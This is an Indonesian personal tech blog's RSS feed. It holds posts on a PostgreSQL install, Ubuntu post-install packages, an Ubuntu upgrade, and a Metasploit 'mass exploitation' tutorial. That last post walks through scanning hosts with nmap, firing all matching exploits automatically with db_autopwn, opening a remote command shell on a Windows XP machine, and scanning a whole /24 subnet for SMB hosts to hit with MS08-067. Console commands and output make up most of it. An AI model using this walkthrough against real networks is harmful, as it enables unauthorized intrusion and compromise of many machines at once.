Mas Rony's Notes » Tips http://www.masrony.com Restore your brain... !! Wed, 10 Mar 2010 14:45:57 +0000 http://wordpress.org/?v=2.9.2 en hourly 1 Test Sun Weblog Publisher http://www.masrony.com/2010/03/test-sun-weblog-publisher/ http://www.masrony.com/2010/03/test-sun-weblog-publisher/#comments Wed, 10 Mar 2010 14:45:57 +0000 Mas Rony http://www.masrony.com/2010/03/10/test-sun-weblog-publisher/

Testing editing blog. Tulisan ini ditulis menggunakan open office dengan menambahkan ekstension Sun Weblog Publisher


]]> http://www.masrony.com/2010/03/test-sun-weblog-publisher/feed/ 2 Install DataBase PostgreSQL 8.4 di Ubuntu 9.10 http://www.masrony.com/2009/11/install-database-postgresql-8-4-di-ubuntu-9-10/ http://www.masrony.com/2009/11/install-database-postgresql-8-4-di-ubuntu-9-10/#comments Sat, 21 Nov 2009 20:51:48 +0000 Mas Rony http://www.masrony.com/?p=320

Untuk menginstall Database PostgreSQL di Ubuntu OS tidaklah sulit, apalagi ubuntu udah menyediakan package-packagenya. Mungkin yang perlu diperhatikan hanyalah langkah-langkahnya, berikut adalah langkah-langkah menginstall Databas PostgreSQL:

Langkah pertama adalah menginstall PostgreSQL Server disini saya menggunakan PostgreSQL Server 8.4, untuk mendapatkan packagenya bisa menggunakan Synaptic Package Manager

→ Quick Search with key “postgresql”

maka akan muncul nama-nama package yang tersedia di ubuntu

→ postgresql-server-dev-8.4

pilih mark for installation lalu Applay maka secara otomatis proses installasi akan berjalan dengan sendirinya.

Langkah berikutnya adalah install PostgreSQL Client, PostgreSQL Contrib & Install PgAdmin3, pada intalasi berikut bisa dilakukan melalui Synaptic atau langsung melalui command seperti berikut:

→ $ sudo apt-get install postgresql postgresql-client postgresql-contrib

→ $ sudo apt-get install pgadmin3

ket: Baris pertama untuk menginstall paket postgresql dan paket-paket yang lain yang dibutuhkan, sedangkan dibaris berikutnya menginstall pgadmin yaitu Graphical User Interface untuk PostgreSQL Admin.

Setelah proses instalasi berhasil, yang perlu diperhatikan adalah melakukan reset password postgres (account administrator). Ketik perintah berikut dalam command:

→ $ sudo su postgres -c psql

→ postgres=# ALTER USER postgres WITH PASSWORD ‘passwordku’;

→ postgres=# \q

perintah tersebut akan merubah password postgres menjadi passwordku, dan sekarang waktunya menyamakan password unix untuk user postgres.

→ $ sudo passwd -d postgres

→ $ sudo su postgres -c passwd

masukkan password yang sama dengan tadi, dalam hal ini passwordku(minimal 6 Digit). Setelah itu agar pgAdmin bisa masuk ke database server menggunakan user postgres, kita harus men set-up PostgreSQL admin pack. caranya jalankan perintah berikut dalam command line

→$ sudo su postgres -c psql < /usr/share/postgresql/8.4/contrib/adminpack.sql

Kemudia atur konfigurasi postgresql.conf

→ $ sudo gedit /etc/postgresql/8.4/main/postgresql.conf

ganti baris berikut:

#listen_addresses = ‘localhost’

menjadi

listen_addresses = ‘*’

dan juga baris :

#password_encryption = on

menjadi

password_encryption = on

Simpan dan tutup gedit.

Langkah terakhir adalah menentukan siapa saja yang berhak masuk ke dalam server dengan mengedit file pg_hba.con

$ sudo gedit /etc/postgresql/8.4/main/pg_hba.conf

pastikan isi file seperti berikut

# DO NOT DISABLE!

# If you change this first entry you will need to make sure that the

# database

# super user can access the database using some other method.

# Noninteractive

# access to all databases is required during automatic maintenance

# (autovacuum, daily cronjob, replication, and similar tasks).

#

# Database administrative login by UNIX sockets

local all postgres ident sameuser

# TYPE DATABASE USER CIDR-ADDRESS METHOD

# “local” is for Unix domain socket connections only

local all all md5

# IPv4 local connections:

host all all 127.0.0.1/32 md5

# IPv6 local connections:

host all all ::1/128 md5

# Connections for all PCs on the subnet

#

# TYPE DATABASE USER IP-ADDRESS IP-MASK METHOD

host all all [ip address] [subnet mask] md5

Ganti [ip address] denga alamat ip dari komputer yang diperbolehkan masuk ke dalam server database, seperti 192.168.1.5 dan [subnet mask] dengan subnet jaringan kita. Jika ingin yang terkoneksi dari semua ip yang ada dalam subnet, anda bisa memberi ip address dengan subnet address seperti 192.168.1.0 maka semua ip 192.168.1.x

dan langkah yang terakhir adalah merestart Server PostgreSQL dengan perintah:

→ $ sudo /etc/init.d/postgresql-8.4 restart

Selesai sudah, Semoga bermanfaat.

]]> http://www.masrony.com/2009/11/install-database-postgresql-8-4-di-ubuntu-9-10/feed/ 4 First Time Install Ubuntu http://www.masrony.com/2009/11/first-time-install-ubuntu/ http://www.masrony.com/2009/11/first-time-install-ubuntu/#comments Wed, 11 Nov 2009 04:12:22 +0000 Mas Rony http://www.masrony.com/?p=273 Apa yang anda lakukan ketika pertama kali melakukan fresh install ubuntu ?
Setelah melakukan update ke repository terdekat biasanya ada beberapa package yang perlu diinstall untuk kenyamanan kita menggunakan ubuntu, diantaranya :
1. Ubuntu extras

 $ sudo aptitude install sudo aptitude install ubuntu-restricted-extras build-essential gwget xchat python-glade2 usb-imagewriter pidgin mozilla-thunderbird filezilla wine youtube-dl httrack webhttrack xchm

2. Software Packager

 $ sudo aptitude install unace rar unrar zip unzip p7zip-full p7zip-rar sharutils aish uudeview mpack lha arj cabextract file-roller

3. More fonts

 $ sudo aptitude install msttcorefonts ttf-larabie-straight ttf-larabie-deco xfonts-terminus-dos xfonts-terminus xfonts-terminus-oblique xfonts-mona ttf-farsiweb ttf-opensymbol ttf-freefont ttf-dustin ttf-devanagari-fonts ttf-dejavu-extra ttf-dejavu-core ttf-dejavu ttf-bpg-georgian-fonts ttf-alee

4. Multimedia

 $ sudo aptitude install vlc audacious mpeg2dec a52dec mpg321 mpg123 libswfdec0.3 libflac++6 ffmpeg cdda2wav libmp4v2-0 libmjpegtools0c2a tagtool easytag id3tool lame lame-extras nautilus-script-audio-convert libmad0 libjpeg-progs libmpcdec3 libquicktime1 flac faac faad sox toolame a52dec ffmpeg2theora libmpeg2-4 uudeview flac libmpeg3-1 mpeg3-utils mpegdemux imagemagick

Tips pake image magick sekali tebang bisa edit banyak foto :
resize by lebar photo :

 $ for k in $(ls *.JPG); do convert $k -resize 1024 -quality 90 $k; done

kalo resize by tinggi photo :

 $ for k in $(ls *.JPG); do convert $k -resize x768 -quality 90 $k; done

dah… tips ini berguna waktu edit foto2 lawas yang udah bergiga2 di HD Ext, so sekali jalan.. wuss…. bisa hemat space smp 2gb. Mayan tooohh….

5. Flash

 $ sudo aptitude install gsfonts gsfonts-x11 flashplugin-nonfree

6. Java

 $ sudo aptitude install sun-java6-bin sun-java6-fonts sun-java6-jdk sun-java6-plugin
 $ sudo update-alternatives --config java

7. IDE for Java and Python

 $ sudo aptitude install netbeans eclipse spe vim

8. Virtual Box
Apabila ingin menambah package virtual box, tambahkan repository di /etc/apt/source.list (kebetulan saya menggunakan ubuntu karmic koala, apabila anda menggunakan versi lain silahkan disesuaikan) :

# Virtual Box
deb http://www.virtualbox.org/debian karmic non-free

Kemudian masukkan public key dari domain tersebut :

 $ wget -q http://download.virtualbox.org/virtualbox/debian/sun_vbox.asc -O- | sudo apt-key add -

Update source list :

 $ sudo aptitude update

Install Virtual Box :

 $ sudo aptitude install virtualbox-3.0 dkms bridge-utils

Note : setting virtual network vbox di ubuntu supaya bisa konek ke network lokal maupun internet disarankan menggunakan adapter type : Intel PRO 1000 MT (Desktop) dan attached to : NAT

9. Google Chrome / Chromium – web browser
Tambahkan list repository di /etc/apt/source.list dengan :

deb http://ppa.launchpad.net/chromium-daily/ppa/ubuntu karmic main
deb-src http://ppa.launchpad.net/chromium-daily/ppa/ubuntu karmic main

Tambahkan GPG key :

 $ sudo apt-key adv --recv-keys --keyserver keyserver.ubuntu.com 0xfbef0d696de1c72ba5a835fe5a9bf3bb4e5e17b5

Update source list :

 $ sudo aptitude update

Install google chrome :

 $ sudo aptitude install chromium-browser

10. Open Project – Project Management Tools
Download open project dari sourceforge di :

 http://sourceforge.net/projects/openproj/files/OpenProj%20Binaries/1.4/openproj_1.4-2.deb/download

Abis itu?? ya langsung double click aja… nda usah pake console2an :D
11. Penetration testing, incident response, and computer forensics

 $ sudo aptitude install kismet aircrack-ng wireshark nmap dsniff autopsy nikto ophcrack aterm nessusd nessus nessus-plugins

Package aterm (xterm emulator) dibuat supaya aplikasi-aplikasi berbasis cli (command line interface) dapat dibuat executable dari pulldown menu ubuntu.
Buat satu file /usr/bin/spy-term :

 $ sudo vim /usr/bin/spy-term

Masukkan baris berikut :

#!/bin/sh
/usr/bin/aterm -tint yellow -tr -trsb -sh 10 -cr green +sb -sl 1000 -title "Autopsy Shell" -fg White -e /usr/bin/autopsy

Setelah filenya disimpan, buat file tersebut executable :

 $ sudo chmod +x /usr/bin/psy-term

Buat satu menu tersendiri dari menu System -> Preferences -> Main Menu, dan buatlah shortcut menu dengan memilih Application dan memanggil /usr/bin/psy-term. Selamat mencoba dan berkreasi…
Apabila ingin menambah dengan metasploit, silahkan dilihat disini
Untuk instalasi Apache web server beserta databasenya (MySQL) juga sudah pernah saya tulis, silahkan dilihat disini
Ada yang ingin menambahkan??

Update 19 Februari 2010 :
Beberapa waktu yang lalu ada pertanyaan dari teman, gimana supaya linux (baca: ubuntu) bisa disandingkan dengan media center-nya microsoft. It’s easy step i guess :

  $ sudo add-apt-repository ppa:team-xbmc
  $ sudo apt-get update
  $ sudo apt-get install xbmc xbmc-standalone
  $ sudo apt-get update

Apabila muncul error “E: Broken package” pada saat instalasi, aktifkan menu “Community-maintained open Source software (universe)” dan “Software restricted by copyright or legal issues (multiverse)” dari menu System –> Administration –> Software Sources.
Nah silahkan direview hasilnya karena saya sendiri belum kelar coba-coba xbmc tersebut.. cayoo :)

]]> http://www.masrony.com/2009/11/first-time-install-ubuntu/feed/ 6 Finally… Ubuntu 9.04 Jaunty Jackalope Muncul Juga http://www.masrony.com/2009/04/finally-ubuntu-904-jaunty-jackalope-muncul-juga/ http://www.masrony.com/2009/04/finally-ubuntu-904-jaunty-jackalope-muncul-juga/#comments Thu, 23 Apr 2009 17:27:12 +0000 Mas Rony http://www.masrony.com/?p=223 Setelah nunggu sepagian nggak nongol-nongol, akhirnya release resmi Ubuntu 9.04 dengan code name Jaunty Jackalope diumumkan. Release ini sesuai dengan janji pihak Ubuntu yang akan mengeluarkan release terbaru setiap 6 bulan sekali. Ya tepatnya hari ini tanggal 23 April 2009, tentunya waktu US sono, bukan Indonesia hehehe. Tentunya bagi para ubuntuer, ini adalah saat-saat yang ditunggu-tunggu apalagi release ini menjanjikan banyak perubahan. Untuk change log release Jaunty Jackalope ini bisa dilihat di official website Ubuntu disini.
Saya pribadi sebenarnya ndak nunggu download iso-nya glondongan, cukup pengen upgrade aja dari intrepid ke jaunty, tapi nunggu sampai ready di repository lokal telkom aja. Biar ndak kroyokan download/upgrade apalagi secara bandwidth disini juga pas-pasan.
Setelah ngecek berkali-kali, akhirnya release yang ditunggu keluar juga :) . Yukz langsung upgrade aja. Terserah mau pake cara yang mana. Kalau mau pake update manager :

    $ update-manager -d

Sampai muncul gambar seperti dibawah ini :

Nah tuh kan.. muncul New distribution release ‘9.04′ is avaliable. Tekan Upgrade dan ikuti wizard instalasinya sampai selesai.
Cara yang lain dengan melakukan editing file sources.list di /etc/apt. Dengan menggunakan editor, ganti kata “intrepid” dengan “jaunty”, kemudian simpan, dan jalankan perintah berikut :

    $ sudo aptitude update && sudo aptitude full-upgrade && sudo aptitude purge

Tinggal nunggu proses selesai aja.
Kalo instalasi udah selesai, bisa kita liat release ubuntu kita yang baru :

    $ sudo lsb_release -a

    Distributor ID:	Ubuntu
Description:	Ubuntu 9.04
Release:	9.04
Codename:	jaunty

Cayooo.. ayo dites menu-menunya nyookk…. sambil nunggu event JRE… sapa tau dapat door prizenya :D

]]> http://www.masrony.com/2009/04/finally-ubuntu-904-jaunty-jackalope-muncul-juga/feed/ 0 Metasploit II : Mass Exploitation http://www.masrony.com/2009/04/metasploit-ii-mass-exploitation/ http://www.masrony.com/2009/04/metasploit-ii-mass-exploitation/#comments Sun, 05 Apr 2009 10:12:00 +0000 Mas Rony http://www.masrony.com/?p=210 Artikel ini merupakan lanjutan dari artikel sebelumnya yaitu Metasploit I : Teknik Dasar. Dalam artikel yang kedua ini saya ingin membahas mengenai penggunaan metasploit untuk mass exploitation dengan menggunakan db_autopwn.
Sebelumnya pastikan instalasi metasploit kita sudah terintegrasi terlebih dahulu dengan database (bisa menggunakan MySQL, postgre, ataupun SQLite3) dan nmap. Prosedur instalasinya silahkan anda lihat disini.
Metode mass exploitation pertama yang akan saya gunakan dalam artikel ini menggunakan teknik mass exploit pada satu mesin dengan memanfaatkan vulnerability di seluruh layanan server/port yang terbuka, atau kita istilahkan pendekatan secara vertikal (istilah ini ndak akan ketemu kalo mbuka-mbuka kamus eksploitasi sistem, lha wong istilahnya made in indo hahaha.. ). Model pendekatan yang lain juga akan dicoba (secara singkat) di bawah artikel ini.

Metode mass exploit secara vertikal
Ya dah langsung kita coba aja ke satu mesin yang sudah kita siapkan sebelumnya.

- Jalankan metasploit console dari shell :

    $ sudo msfconsole

                                      _
                                 | |      o
 _  _  _    _ _|_  __,   ,    _  | |  __    _|_
/ |/ |/ |  |/  |  /  |  / \_|/ \_|/  /  \_|  |
  |  |  |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
                           /|
                           \|
       =[ msf v3.3-dev
+ -- --=[ 359 exploits - 233 payloads
+ -- --=[ 20 encoders - 7 nops
       =[ 132 aux

- Jalankan plugin mysql terlebih dahulu (saya menggunakan mysql database)

    msf > load db_mysql

    [*] Successfully loaded plugin: db_mysql

- Sambungkan metasploit dengan database di MySQL

    msf > db_connect msf:msf@localhost/metasploit
    msf >

- Scan mesin target menggunakan nmap untuk melihat port yang terbuka.
Hasil scan ini akan tersimpan otomatis kedalam database yang telah disiapkan sebelumnya.

    msf > db_nmap -v -sS 192.168.1.10

    [*] exec: "/usr/bin/nmap" "-v" "-sS" "192.168.1.10" "-oX" "/tmp/dbnmap20090404-13424-19l1thf-0"
NMAP:
NMAP: Starting Nmap 4.62 ( http://nmap.org ) at 2009-04-04 17:35 CIT
NMAP: Initiating ARP Ping Scan at 17:35
NMAP: Scanning 192.168.1.10 [1 port]
NMAP: Completed ARP Ping Scan at 17:35, 0.00s elapsed (1 total hosts)
NMAP: Initiating Parallel DNS resolution of 1 host. at 17:35
NMAP: Completed Parallel DNS resolution of 1 host. at 17:35, 0.00s elapsed
NMAP: Initiating SYN Stealth Scan at 17:35
NMAP: Scanning 192.168.1.10 [1715 ports]
NMAP: Discovered open port 1723/tcp on 192.168.1.10
NMAP: Discovered open port 3389/tcp on 192.168.1.10
NMAP: Discovered open port 139/tcp on 192.168.1.10
NMAP: Discovered open port 1025/tcp on 192.168.1.10
NMAP: Discovered open port 1026/tcp on 192.168.1.10
NMAP: Discovered open port 445/tcp on 192.168.1.10
NMAP: Discovered open port 1043/tcp on 192.168.1.10
NMAP: Discovered open port 12345/tcp on 192.168.1.10
NMAP: Discovered open port 1521/tcp on 192.168.1.10
NMAP: Discovered open port 135/tcp on 192.168.1.10
NMAP: Discovered open port 3372/tcp on 192.168.1.10
NMAP: Discovered open port 1433/tcp on 192.168.1.10
NMAP: Completed SYN Stealth Scan at 17:35, 0.67s elapsed (1715 total ports)
NMAP: Host 192.168.1.10 appears to be up ... good.
NMAP: Interesting ports on 192.168.1.10:
NMAP: Not shown: 1703 closed ports
NMAP: PORT      STATE SERVICE
NMAP: 135/tcp   open  msrpc
NMAP: 139/tcp   open  netbios-ssn
NMAP: 445/tcp   open  microsoft-ds
NMAP: 1025/tcp  open  NFS-or-IIS
NMAP: 1026/tcp  open  LSA-or-nterm
NMAP: 1043/tcp  open  boinc
NMAP: 1433/tcp  open  ms-sql-s
NMAP: 1521/tcp  open  oracle
NMAP: 1723/tcp  open  pptp
NMAP: 3372/tcp  open  msdtc
NMAP: 3389/tcp  open  ms-term-serv
NMAP: 12345/tcp open  netbus
NMAP: MAC Address: 00:1C:C0:50:B9:00 (Intel Corporate)
NMAP:
NMAP: Read data files from: /usr/share/nmap
NMAP: Nmap done: 1 IP address (1 host up) scanned in 0.872 seconds
NMAP: Raw packets sent: 1716 (75.502KB) | Rcvd: 1716 (78.932KB)
msf >

- Untuk mengetahui opsi-opsi db_autopwn, bisa dilihat terlebih dahulu dari menu help-nya. Silahkan anda coba dan pelajari opsi-opsi tersebut dengan berbagai kombinasi yang anda inginkan

    msf > db_autopwn -h

    [*] Usage: db_autopwn [options]
	-h          Display this help text
	-t          Show all matching exploit modules
	-x          Select modules based on vulnerability references
	-p          Select modules based on open ports
	-e          Launch exploits against all matched targets
	-r          Use a reverse connect shell
	-b          Use a bind shell on a random port
	-q          Disbale exploit module output
	-I  [range] Only exploit hosts inside this range
	-X  [range] Always exclude hosts inside this range
	-PI [range] Only exploit hosts with these ports open
	-PX [range] Always exclude hosts with these ports open
	-m  [regex] Only run modules whose name matches the regex
msf >

- db_autopwn akan kita jalankan menggunakan modul-modul exploit yang sesuai dengan port-port yang sebelumnya telah tersimpan di database

    msf > db_autopwn -p -t

    [*] Analysis completed in 6.07385802268982 seconds (0 vulns / 0 refs)
[*] Matched auxiliary/dos/windows/smb/rras_vls_null_deref against 192.168.1.10:445...
[*] Matched auxiliary/admin/mssql/mssql_exec against 192.168.1.10:1433...
[*] Matched exploit/windows/smb/ms05_039_pnp against 192.168.1.10:445...
[*] Matched auxiliary/admin/db2/db2rcmd against 192.168.1.10:445...
[*] Matched auxiliary/scanner/mssql/mssql_login against 192.168.1.10:1433...
[*] Matched auxiliary/dos/windows/smb/ms06_063_trans against 192.168.1.10:445...
[*] Matched exploit/windows/smb/ms06_025_rasmans_reg against 192.168.1.10:445...
[*] Matched auxiliary/scanner/smb/login against 192.168.1.10:445...
[*] Matched auxiliary/dos/windows/smb/ms05_047_pnp against 192.168.1.10:445...
[*] Matched auxiliary/dos/samba/lsa_transnames_heap against 192.168.1.10:445...
[*] Matched exploit/windows/smb/ms06_025_rras against 192.168.1.10:445...
[*] Matched auxiliary/dos/samba/lsa_addprivs_heap against 192.168.1.10:445...
[*] Matched exploit/windows/smb/psexec against 192.168.1.10:445...
[*] Matched exploit/windows/smb/ms06_066_nwapi against 192.168.1.10:445...
[*] Matched exploit/windows/smb/ms06_040_netapi against 192.168.1.10:445...
[*] Matched exploit/windows/smb/ms04_011_lsass against 192.168.1.10:445...
[*] Matched exploit/windows/smb/ms03_049_netapi against 192.168.1.10:445...
[*] Matched exploit/windows/dcerpc/ms03_026_dcom against 192.168.1.10:135...
[*] Matched exploit/solaris/samba/lsa_transnames_heap against 192.168.1.10:445...
[*] Matched exploit/multi/samba/nttrans against 192.168.1.10:139...
[*] Matched auxiliary/dos/windows/smb/vista_negotiate_stop against 192.168.1.10:445...
[*] Matched auxiliary/dos/windows/smb/ms09_001_write against 192.168.1.10:445...
[*] Matched exploit/windows/smb/ms08_067_netapi against 192.168.1.10:445...
[*] Matched exploit/windows/smb/ms04_031_netdde against 192.168.1.10:445...
[*] Matched exploit/windows/smb/msdns_zonename against 192.168.1.10:445...
[*] Matched exploit/linux/pptp/poptop_negative_read against 192.168.1.10:1723...
[*] Matched exploit/windows/brightstor/etrust_itm_alert against 192.168.1.10:445...
[*] Matched exploit/solaris/samba/trans2open against 192.168.1.10:139...
[*] Matched exploit/osx/samba/trans2open against 192.168.1.10:139...
[*] Matched exploit/osx/samba/lsa_transnames_heap against 192.168.1.10:445...
[*] Matched exploit/netware/smb/lsass_cifs against 192.168.1.10:445...
[*] Matched auxiliary/scanner/dcerpc/management against 192.168.1.10:135...
[*] Matched auxiliary/scanner/dcerpc/endpoint_mapper against 192.168.1.10:135...
[*] Matched exploit/windows/smb/ms06_066_nwwks against 192.168.1.10:445...
[*] Matched exploit/windows/mssql/ms02_056_hello against 192.168.1.10:1433...
[*] Matched exploit/linux/samba/lsa_transnames_heap against 192.168.1.10:445...
[*] Matched auxiliary/dos/windows/smb/ms06_035_mailslot against 192.168.1.10:445...
[*] Matched auxiliary/admin/mssql/mssql_sql against 192.168.1.10:1433...
[*] Matched exploit/windows/smb/ms04_007_killbill against 192.168.1.10:445...
msf >

- Lakukan exploitasi system dengan menambahkan opsi -e :

    msf > db_autopwn -p -t -e

    [*] Analysis completed in 6.27089881896973 seconds (0 vulns / 0 refs)
[*] Matched auxiliary/dos/windows/smb/rras_vls_null_deref against 192.168.1.10:445...
[*] Matched auxiliary/admin/mssql/mssql_exec against 192.168.1.10:1433...
[*] Matched exploit/windows/smb/ms05_039_pnp against 192.168.1.10:445...
[*] (3/39): Launching exploit/windows/smb/ms05_039_pnp against 192.168.1.10:445...
[-] Exploit failed: Anonymous modules have no name to be referenced by
[*] Matched auxiliary/admin/db2/db2rcmd against 192.168.1.10:445...
[*] Matched auxiliary/scanner/mssql/mssql_login against 192.168.1.10:1433...
[*] Matched auxiliary/dos/windows/smb/ms06_063_trans against 192.168.1.10:445...
[*] Matched exploit/windows/smb/ms06_025_rasmans_reg against 192.168.1.10:445...
[*] Matched auxiliary/scanner/smb/login against 192.168.1.10:445...
[*] Matched auxiliary/dos/windows/smb/ms05_047_pnp against 192.168.1.10:445...
[*] Matched auxiliary/dos/samba/lsa_transnames_heap against 192.168.1.10:445...
[*] Matched exploit/windows/smb/ms06_025_rras against 192.168.1.10:445...
[*] Matched auxiliary/dos/samba/lsa_addprivs_heap against 192.168.1.10:445...
[*] Matched exploit/windows/smb/psexec against 192.168.1.10:445...
[*] (13/39): Launching exploit/windows/smb/psexec against 192.168.1.10:445...
[*] Matched exploit/windows/smb/ms06_066_nwapi against 192.168.1.10:445...
[*] (14/39): Launching exploit/windows/smb/ms06_066_nwapi against 192.168.1.10:445...
[*] Started bind handler
[-] Exploit failed: No encoders encoded the buffer successfully.
[*] Connecting to the server...
[*] Matched exploit/windows/smb/ms06_040_netapi against 192.168.1.10:445...
[*] Authenticating as user 'Administrator'...
[*] (15/39): Launching exploit/windows/smb/ms06_040_netapi against 192.168.1.10:445...
[-] Exploit failed: Anonymous modules have no name to be referenced by
[*] Matched exploit/windows/smb/ms04_011_lsass against 192.168.1.10:445...
[*] (16/39): Launching exploit/windows/smb/ms04_011_lsass against 192.168.1.10:445...
[-] Exploit failed: Anonymous modules have no name to be referenced by
[-] Exploit failed: Login Failed: The server responded with error: STATUS_LOGON_FAILURE (Command=115 WordCount=0)
[*] Matched exploit/windows/smb/ms03_049_netapi against 192.168.1.10:445...
[*] (17/39): Launching exploit/windows/smb/ms03_049_netapi against 192.168.1.10:445...
[-] Exploit failed: Anonymous modules have no name to be referenced by
[*] Matched exploit/windows/dcerpc/ms03_026_dcom against 192.168.1.10:135...
[*] (18/39): Launching exploit/windows/dcerpc/ms03_026_dcom against 192.168.1.10:135...
[-] Exploit failed: Anonymous modules have no name to be referenced by
[*] Matched exploit/solaris/samba/lsa_transnames_heap against 192.168.1.10:445...
[*] (19/39): Launching exploit/solaris/samba/lsa_transnames_heap against 192.168.1.10:445...
[-] Exploit failed: Anonymous modules have no name to be referenced by
[*] Matched exploit/multi/samba/nttrans against 192.168.1.10:139...
[*] (20/39): Launching exploit/multi/samba/nttrans against 192.168.1.10:139...
[*] Matched auxiliary/dos/windows/smb/vista_negotiate_stop against 192.168.1.10:445...
[*] Matched auxiliary/dos/windows/smb/ms09_001_write against 192.168.1.10:445...
[*] Matched exploit/windows/smb/ms08_067_netapi against 192.168.1.10:445...
[*] (23/39): Launching exploit/windows/smb/ms08_067_netapi against 192.168.1.10:445...
[-] Exploit failed: Anonymous modules have no name to be referenced by
[*] Matched exploit/windows/smb/ms04_031_netdde against 192.168.1.10:445...
[*] (24/39): Launching exploit/windows/smb/ms04_031_netdde against 192.168.1.10:445...
[-] Exploit failed: Anonymous modules have no name to be referenced by
[*] Matched exploit/windows/smb/msdns_zonename against 192.168.1.10:445...
[*] (25/39): Launching exploit/windows/smb/msdns_zonename against 192.168.1.10:445...
[-] Exploit failed: Anonymous modules have no name to be referenced by
[*] Matched exploit/linux/pptp/poptop_negative_read against 192.168.1.10:1723...
[*] (26/39): Launching exploit/linux/pptp/poptop_negative_read against 192.168.1.10:1723...
[-] Exploit failed: wrong number of arguments (1 for 0)
[*] Matched exploit/windows/brightstor/etrust_itm_alert against 192.168.1.10:445...
[*] (27/39): Launching exploit/windows/brightstor/etrust_itm_alert against 192.168.1.10:445...
[-] Exploit failed: Anonymous modules have no name to be referenced by
[*] Matched exploit/solaris/samba/trans2open against 192.168.1.10:139...
[*] (28/39): Launching exploit/solaris/samba/trans2open against 192.168.1.10:139...
[*] Matched exploit/osx/samba/trans2open against 192.168.1.10:139...
[*] Matched exploit/osx/samba/lsa_transnames_heap against 192.168.1.10:445...
[*] (30/39): Launching exploit/osx/samba/lsa_transnames_heap against 192.168.1.10:445...
[*] Started bind handler
[*] Binding to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.1.10[\lsarpc]...
[*] Bound to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.1.10[\lsarpc]...
[*] Getting OS information...
[*] Trying to exploit Windows 5.1
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Server appears to have been patched
[*] Triggering the vulnerability...
[*] Command shell session 1 opened (192.168.1.6:46451 -> 192.168.1.10:29595)
[*] Matched exploit/netware/smb/lsass_cifs against 192.168.1.10:445...
[*] (31/39): Launching exploit/netware/smb/lsass_cifs against 192.168.1.10:445...
[*] Matched auxiliary/scanner/dcerpc/management against 192.168.1.10:135...
[*] Matched auxiliary/scanner/dcerpc/endpoint_mapper against 192.168.1.10:135...
[*] Matched exploit/windows/smb/ms06_066_nwwks against 192.168.1.10:445...
[*] (34/39): Launching exploit/windows/smb/ms06_066_nwwks against 192.168.1.10:445...
[-] Exploit failed: Anonymous modules have no name to be referenced by
[*] Matched exploit/windows/mssql/ms02_056_hello against 192.168.1.10:1433...
[*] (35/39): Launching exploit/windows/mssql/ms02_056_hello against 192.168.1.10:1433...
[-] Exploit failed: Anonymous modules have no name to be referenced by
[*] Matched exploit/linux/samba/lsa_transnames_heap against 192.168.1.10:445...
[*] Matched auxiliary/dos/windows/smb/ms06_035_mailslot against 192.168.1.10:445...
[*] Matched auxiliary/admin/mssql/mssql_sql against 192.168.1.10:1433...
[*] Matched exploit/windows/smb/ms04_007_killbill against 192.168.1.10:445...
msf >

- Eksploitasi telah selesai. Periksa session yang aktif dengan menuliskan perintah session -l. Apabila ada message no active session berarti eksploitasi yang kita lakukan gagal.

    msf > sessions -l

    Active sessions
===============
  Id  Description    Tunnel
  --  -----------    ------
  1   Command shell  192.168.1.6:46451 -> 192.168.1.10:29595

- Dari message diatas diketahui eksploitasi telah berhasil dilakukan dan ada 1 sesi yang aktif, yaitu session dengan id 1. Untuk berinteraksi dengan session yang aktif :

    msf > sessions -i 1

    [*] Starting interaction with 1...
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
    C:\WINDOWS\system32>ipconfig

    ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
        Connection-specific DNS Suffix  . :
        IP Address. . . . . . . . . . . . : 192.168.1.10
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.1.254
C:\WINDOWS\system32>

Owned… !!

Metode mass exploit secara horisontal / linier
Sebenarnya cara yang dipakai dalam metode ini sama dengan metode sebelumnya, yang membedakan adalah model pencarian port yang terbuka. Cara ini lebih fokus kepada pencarian kelemahan sistem pada port tertentu dalam suatu network. Jadi yang pegang peranan dalam pemilihan metode ini sebenarnya adalah pada kustomisasi command di nmap. Contoh paling mudah yaitu memanfaatkan exploit MS Windows MS08-067 seperti artikel terdahulu. Test case kali ini memanfaatkan exploit tersebut di dalam network lokal saya : 192.168.1.0/24.
Silahkan anda ikuti saja tutorial seperti metode yang diatas hanya saja command pencarian port yang terbuka diubah menjadi :

    msf > nmap -sS -p 445 -n -T Aggressive 192.168.1.0/24

    [*] exec: nmap -sS -p 445 -n -T Aggressive 192.168.1.0/24
Starting Nmap 4.62 ( http://nmap.org ) at 2009-04-05 17:06 CIT
Interesting ports on 192.168.1.6:
PORT    STATE  SERVICE
445/tcp closed microsoft-ds
Interesting ports on 192.168.1.10:
PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 00:1C:C0:50:B9:00 (Intel Corporate)
Interesting ports on 192.168.1.12:
PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 00:11:2F:A6:03:9F (Asustek Computer)
Interesting ports on 192.168.1.20:
PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 00:1E:8C:CC:07:2A (Asustek Computer)
Interesting ports on 192.168.1.26:
PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 00:04:23:6E:EC:AD (Intel)
Interesting ports on 192.168.1.28:
PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 00:1E:8C:67:59:F9 (Asustek Computer)
Interesting ports on 192.168.1.30:
PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 00:1E:EC:79:94:F7 (Compal Information (kunshan) CO.)
Interesting ports on 192.168.1.103:
PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 00:18:DE:07:3D:91 (Intel)
Interesting ports on 192.168.1.254:
PORT    STATE  SERVICE
445/tcp closed microsoft-ds
MAC Address: 00:1D:7E:27:BA:E6 (Cisco-Linksys)
Nmap done: 256 IP addresses (9 hosts up) scanned in 2.566 seconds
msf >

Apabila anda masih mengalami kesulitan dalam menerapkan metode ini, silahkan anda baca artikel yang juga sudah lengkap dengan step by step-nya dari blog temen-temen kecoak disini atau blognya pakde HDM disini.

